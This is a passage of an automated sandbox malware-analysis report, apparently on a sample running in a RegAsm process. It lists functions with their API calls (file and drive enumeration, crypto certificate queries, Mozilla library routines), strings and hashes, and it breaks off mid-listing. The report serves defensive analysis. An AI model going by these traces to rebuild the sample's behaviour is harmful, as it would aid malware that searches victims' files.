Instruction ID: 11f6703c6529ff65c6027a0a45f3fdb3f97caadc550874a50ef78dc79f4eaafe
Opcode Fuzzy Hash: 04f1566bf03f5b57a7be48995494788b674163e3f1712f7d1c8d8cfa6d3f667e
Instruction Fuzzy Hash: F62171B1900249EBDF20FFA9C9067DDBFB4AF45314F00416EE88963281D7795708CBA6

Function 00401ED6 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401EDB

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00401162: _EH_prolog.MSVCRT ref: 00401167
Part of subcall function 00401162: FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00422374,?,?,?,00422370,?,?,00000000,?,00000000), ref: 004013AC

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$FileFindFirstlstrcpy
String ID:
API String ID: 1592259726-0
Opcode ID: 07963b33fdd111526faf395668dc4852c6ae53a02adfa156883a701ca86dbaae
Instruction ID: 28e08b363bcf4c13626f635e6ad0a869a568ad08ab8b3845b1d26a2f95c805ed
Opcode Fuzzy Hash: 07963b33fdd111526faf395668dc4852c6ae53a02adfa156883a701ca86dbaae
Instruction Fuzzy Hash: 4A215071D00249ABDF20FB69C94679DBFB4AF44714F00452EE89873282DB395749CBD6

Function 00415A3A Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00415A3F

Part of subcall function 00412D62: _EH_prolog.MSVCRT ref: 00412D67

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00415843: _EH_prolog.MSVCRT ref: 00415848
Part of subcall function 00415843: GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 004158AA
Part of subcall function 00415843: memset.MSVCRT ref: 004158C9
Part of subcall function 00415843: GetDriveTypeA.KERNEL32(?), ref: 004158D2
Part of subcall function 00415843: lstrcpy.KERNEL32(?,00000000), ref: 004158F2
Part of subcall function 00415843: lstrcpy.KERNEL32(?,00000000), ref: 00415933
Part of subcall function 00415843: lstrlenA.KERNEL32(?), ref: 00415998

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$Drivelstrcpy$LogicalStringsTypelstrlenmemset
String ID:
API String ID: 373919974-0
Opcode ID: 247ae862db0cd230e0fc40c152aa8d8d011cf82cb158f3200b1f7138d282f6a1
Instruction ID: 6a8f297f6f97b9a3cf0514685df13ca52355f4dbaeb7c4ae4b28d527b4ace486
Opcode Fuzzy Hash: 247ae862db0cd230e0fc40c152aa8d8d011cf82cb158f3200b1f7138d282f6a1
Instruction Fuzzy Hash: 5E01C031C00249DBCF20EBA8C9827EEBBB0EF40354F10411AE854A3281C7385B84C7D6

Function 00410D6D Relevance: 1.3, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,004131CC,000000C8,00000001,?,004131CB,00000000,00000000), ref: 00410D86

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 0ae6c29a3e0a6eb9c824dd13ba767ccc85b4e312debc44e2b21ad53b1228ad09
Instruction ID: 7dcd19726911a1004ec6e1e6dff555a45da34f101be8258439f6e1c6d27db954
Opcode Fuzzy Hash: 0ae6c29a3e0a6eb9c824dd13ba767ccc85b4e312debc44e2b21ad53b1228ad09
Instruction Fuzzy Hash: AAF05C35601610DB871209599C00AE7775BABC6B10708411BDE8C8B304C5B0ECC142E0

Non-executed Functions

Function 6CC46C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CC46CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CC46D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CC46D26

Part of subcall function 6CC4CA10: malloc.MOZGLUE(?), ref: 6CC4CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CC46D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CC46D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CC46D73
free.MOZGLUE(00000000), ref: 6CC46D80
CertGetNameStringW.CRYPT32 ref: 6CC46DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CC46DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CC46DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CC46DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CC46E10
CryptMsgClose.CRYPT32(00000000), ref: 6CC46E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CC46E34
CreateFileW.KERNEL32 ref: 6CC46EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CC46F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CC46F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CC4709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CC47103
free.MOZGLUE(00000000), ref: 6CC47153
CloseHandle.KERNEL32(?), ref: 6CC47176
__Init_thread_footer.LIBCMT ref: 6CC47209
__Init_thread_footer.LIBCMT ref: 6CC4723A
__Init_thread_footer.LIBCMT ref: 6CC4726B
__Init_thread_footer.LIBCMT ref: 6CC4729C
__Init_thread_footer.LIBCMT ref: 6CC472DC
__Init_thread_footer.LIBCMT ref: 6CC4730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CC473C2
VerSetConditionMask.NTDLL ref: 6CC473F3
VerSetConditionMask.NTDLL ref: 6CC473FF
VerSetConditionMask.NTDLL ref: 6CC47406
VerSetConditionMask.NTDLL ref: 6CC4740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CC4741A
moz_xmalloc.MOZGLUE(?), ref: 6CC4755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CC47568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CC47585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CC47598
free.MOZGLUE(00000000), ref: 6CC475AC

Part of subcall function 6CC6AB89: EnterCriticalSection.KERNEL32(6CCBE370,?,?,?,6CC334DE,6CCBF6CC,?,?,?,?,?,?,?,6CC33284), ref: 6CC6AB94
Part of subcall function 6CC6AB89: LeaveCriticalSection.KERNEL32(6CCBE370,?,6CC334DE,6CCBF6CC,?,?,?,?,?,?,?,6CC33284,?,?,6CC556F6), ref: 6CC6ABD1

Strings

SHA256, xrefs: 6CC46EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6CC472C8
(, xrefs: 6CC4768A
wintrust.dll, xrefs: 6CC472CD

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: a43fcaac022fb778192a291195d200fc41c50660bb0b5041e876488aff6ce664
Instruction ID: b2ad0393ad0a2950369a9f34186a438842b6a6ed6c24aff6d90f3e4af8f3011c
Opcode Fuzzy Hash: a43fcaac022fb778192a291195d200fc41c50660bb0b5041e876488aff6ce664
Instruction Fuzzy Hash: 9B52C3B5A002149FEB21DF65CC84BAA77B8FF46704F10C199E909A7640EB71AF85CF91

Function 6CC7F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC7F09B

Part of subcall function 6CC55B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CC556EE,?,00000001), ref: 6CC55B85
Part of subcall function 6CC55B50: EnterCriticalSection.KERNEL32(6CCBF688,?,?,?,6CC556EE,?,00000001), ref: 6CC55B90
Part of subcall function 6CC55B50: LeaveCriticalSection.KERNEL32(6CCBF688,?,?,?,6CC556EE,?,00000001), ref: 6CC55BD8
Part of subcall function 6CC55B50: GetTickCount64.KERNEL32 ref: 6CC55BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CC7F0AC

Part of subcall function 6CC55C50: GetTickCount64.KERNEL32 ref: 6CC55D40
Part of subcall function 6CC55C50: EnterCriticalSection.KERNEL32(6CCBF688), ref: 6CC55D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CC7F0BE

Part of subcall function 6CC55C50: __aulldiv.LIBCMT ref: 6CC55DB4
Part of subcall function 6CC55C50: LeaveCriticalSection.KERNEL32(6CCBF688), ref: 6CC55DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CC7F155
GetCurrentThreadId.KERNEL32 ref: 6CC7F1E0
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7F1ED
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7F212
GetCurrentThreadId.KERNEL32 ref: 6CC7F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC7F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CC7F248
GetCurrentThreadId.KERNEL32 ref: 6CC7F2AE
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7F2BB
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7F2F8

Part of subcall function 6CC6CBE8: GetCurrentProcess.KERNEL32(?,6CC331A7), ref: 6CC6CBF1
Part of subcall function 6CC6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CC331A7), ref: 6CC6CBFA

Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CC44A68), ref: 6CC7945E
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC79470
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC79482
Part of subcall function 6CC79420: __Init_thread_footer.LIBCMT ref: 6CC7949F

GetCurrentThreadId.KERNEL32 ref: 6CC7F350
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7F35D
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7F381
GetCurrentThreadId.KERNEL32 ref: 6CC7F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC7F3A0
GetCurrentThreadId.KERNEL32 ref: 6CC7F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC7F491

Part of subcall function 6CC794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC794EE
Part of subcall function 6CC794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC79508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CC7F3CF

Part of subcall function 6CC7F070: GetCurrentThreadId.KERNEL32 ref: 6CC7F440
Part of subcall function 6CC7F070: AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7F44D
Part of subcall function 6CC7F070: ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CC7F4A8
GetCurrentThreadId.KERNEL32 ref: 6CC7F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC7F561
GetCurrentThreadId.KERNEL32 ref: 6CC7F577
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7F585
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CC7F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6CC7F499
[I %d/%d] profiler_pause_sampling, xrefs: 6CC7F3A8
[I %d/%d] profiler_resume, xrefs: 6CC7F239

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 589ce5dd8be659e0a4885ea65a7401d2daef75430740c39d40621bcb45f8e8c9
Instruction ID: d9f5fd634b95f1a07382b130cba07e18aeef792666b300a5973f8d0c8ac5d279
Opcode Fuzzy Hash: 589ce5dd8be659e0a4885ea65a7401d2daef75430740c39d40621bcb45f8e8c9
Instruction Fuzzy Hash: FDD1383D7042148FDB109FF9D4987AAB7B8EB46328F14451AF95593F81EB705808CBBA

Function 6CC464C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CC464DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CC464F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CC46505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CC46518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CC4652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CC4671C
GetCurrentProcess.KERNEL32 ref: 6CC46724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CC4672F
GetCurrentProcess.KERNEL32 ref: 6CC46759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CC46764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CC46A80
GetSystemInfo.KERNEL32(?), ref: 6CC46ABE
__Init_thread_footer.LIBCMT ref: 6CC46AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC46AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC46AF7

Strings

user32.dll, xrefs: 6CC46526
_etoured.dll, xrefs: 6CC464ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CC46798
nvd3d9wrap.dll, xrefs: 6CC46500
detoured.dll, xrefs: 6CC464DA
nvdxgiwrap.dll, xrefs: 6CC46513

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: f3652298cfaf84afb1478c85229df9775f1e14ea5c2caa6f2727f11e30230c02
Instruction ID: 0c5addb11b1d7d17326ea920779962a00a71723b413463e1f4d38d0b57080ddc
Opcode Fuzzy Hash: f3652298cfaf84afb1478c85229df9775f1e14ea5c2caa6f2727f11e30230c02
Instruction Fuzzy Hash: 28F1D470A05A199FDB20CF65CC8879AB7B4AF46318F14C299E809A7645F771AE84CF90

Function 6CC7E2F0 Relevance: 32.0, APIs: 13, Strings: 5, Instructions: 466threadCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,?,6CC7E2A6), ref: 6CC7E35E
?_Xbad_function_call@std@@YAXXZ.MSVCP140(?,?,6CC7E2A6), ref: 6CC7E386
GetCurrentThreadId.KERNEL32 ref: 6CC7E3E4
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7E3F1
memset.VCRUNTIME140(?,00000000,?), ref: 6CC7E4AB
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7E4F5
GetCurrentThreadId.KERNEL32 ref: 6CC7E577
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7E584
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CC7E8A6

Part of subcall function 6CC3B7A0: ?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CC3B7CF
Part of subcall function 6CC3B7A0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CC3B808

Part of subcall function 6CC8B800: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,00000000,6CCB0FB6,00000000,?,?,6CC7E69E), ref: 6CC8B830

memset.VCRUNTIME140(?,00000000,00000000), ref: 6CC7E6DA

Part of subcall function 6CC8B8B0: memset.VCRUNTIME140(00000000,00000000,00000000,80000000), ref: 6CC8B916
Part of subcall function 6CC8B8B0: free.MOZGLUE(00000000,?,?,80000000), ref: 6CC8B94A

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CC7E864
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC7E883

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CC7E655
MOZ_PROFILER_STARTUP, xrefs: 6CC7E5A1, 6CC7E5CC, 6CC7E5FF, 6CC7E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CC7E722, 6CC7E750, 6CC7E7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CC7E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CC7E826, 6CC7E850

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockfree$memset$AcquireCurrentReleaseThreadXbad_function_call@std@@$?vprint@PrintfTarget@mozilla@@__stdio_common_vsprintfmemcpy
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 2698983630-53385798
Opcode ID: b1e4d4191256c55da55263a9f6882a40acc5fc1006c964abaef0534952ca83e2
Instruction ID: 4de75522b9607cb6719b6e3a0f9dd521e6e79342945ae7a31e9555a065a2039c
Opcode Fuzzy Hash: b1e4d4191256c55da55263a9f6882a40acc5fc1006c964abaef0534952ca83e2
Instruction Fuzzy Hash: 8D02AE766003059FCB10CF68C484AAAB7F5FF89308F14452DE85A97B51EB34E945CFA1

Function 6CC77E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6CC77ECF, 6CC78335
schema, xrefs: 6CC781E3, 6CC78311
data, xrefs: 6CC78280, 6CC783E1
(pre-xul), xrefs: 6CC77E88

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 39fb32376040c5170ac8d800e7e73b0680ce11a4aa51ee9a59cfc14c6f763220
Instruction ID: 4d56c689506c449e9a612656d41bc76c7497c97c30b12ef846419548ae7a4176
Opcode Fuzzy Hash: 39fb32376040c5170ac8d800e7e73b0680ce11a4aa51ee9a59cfc14c6f763220
Instruction Fuzzy Hash: 67E18FB1A043418FC714CF68884065BFBE9FBC5354F14892DE899E7791EB70ED098B92

Function 6CC5D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CCBE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CC6D1C5), ref: 6CC5D4F2
LeaveCriticalSection.KERNEL32(6CCBE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CC6D1C5), ref: 6CC5D50B

Part of subcall function 6CC3CFE0: EnterCriticalSection.KERNEL32(6CCBE784), ref: 6CC3CFF6
Part of subcall function 6CC3CFE0: LeaveCriticalSection.KERNEL32(6CCBE784), ref: 6CC3D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CC6D1C5), ref: 6CC5D52E
EnterCriticalSection.KERNEL32(6CCBE7DC), ref: 6CC5D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CC5D6A6
LeaveCriticalSection.KERNEL32(6CCBE7DC), ref: 6CC5D712
LeaveCriticalSection.KERNEL32(6CCBE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CC6D1C5), ref: 6CC5D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CC5D7EA

Strings

<jemalloc>, xrefs: 6CC5D827
: (malloc) Error initializing arena, xrefs: 6CC5D82C

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: e12a021372435bc0d4eb110af38802f9dff84df59c5e61e4c8fbc90647dea768
Instruction ID: 3a1904b411e8ecb7703ff20645f2cf63c177bf90dee054111eecc66439d545a9
Opcode Fuzzy Hash: e12a021372435bc0d4eb110af38802f9dff84df59c5e61e4c8fbc90647dea768
Instruction Fuzzy Hash: 68910271A047418FD714CF69C29022AB7F1FB89744F54892EE45AD7B84FB30E861CB8A

Function 6CC94EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

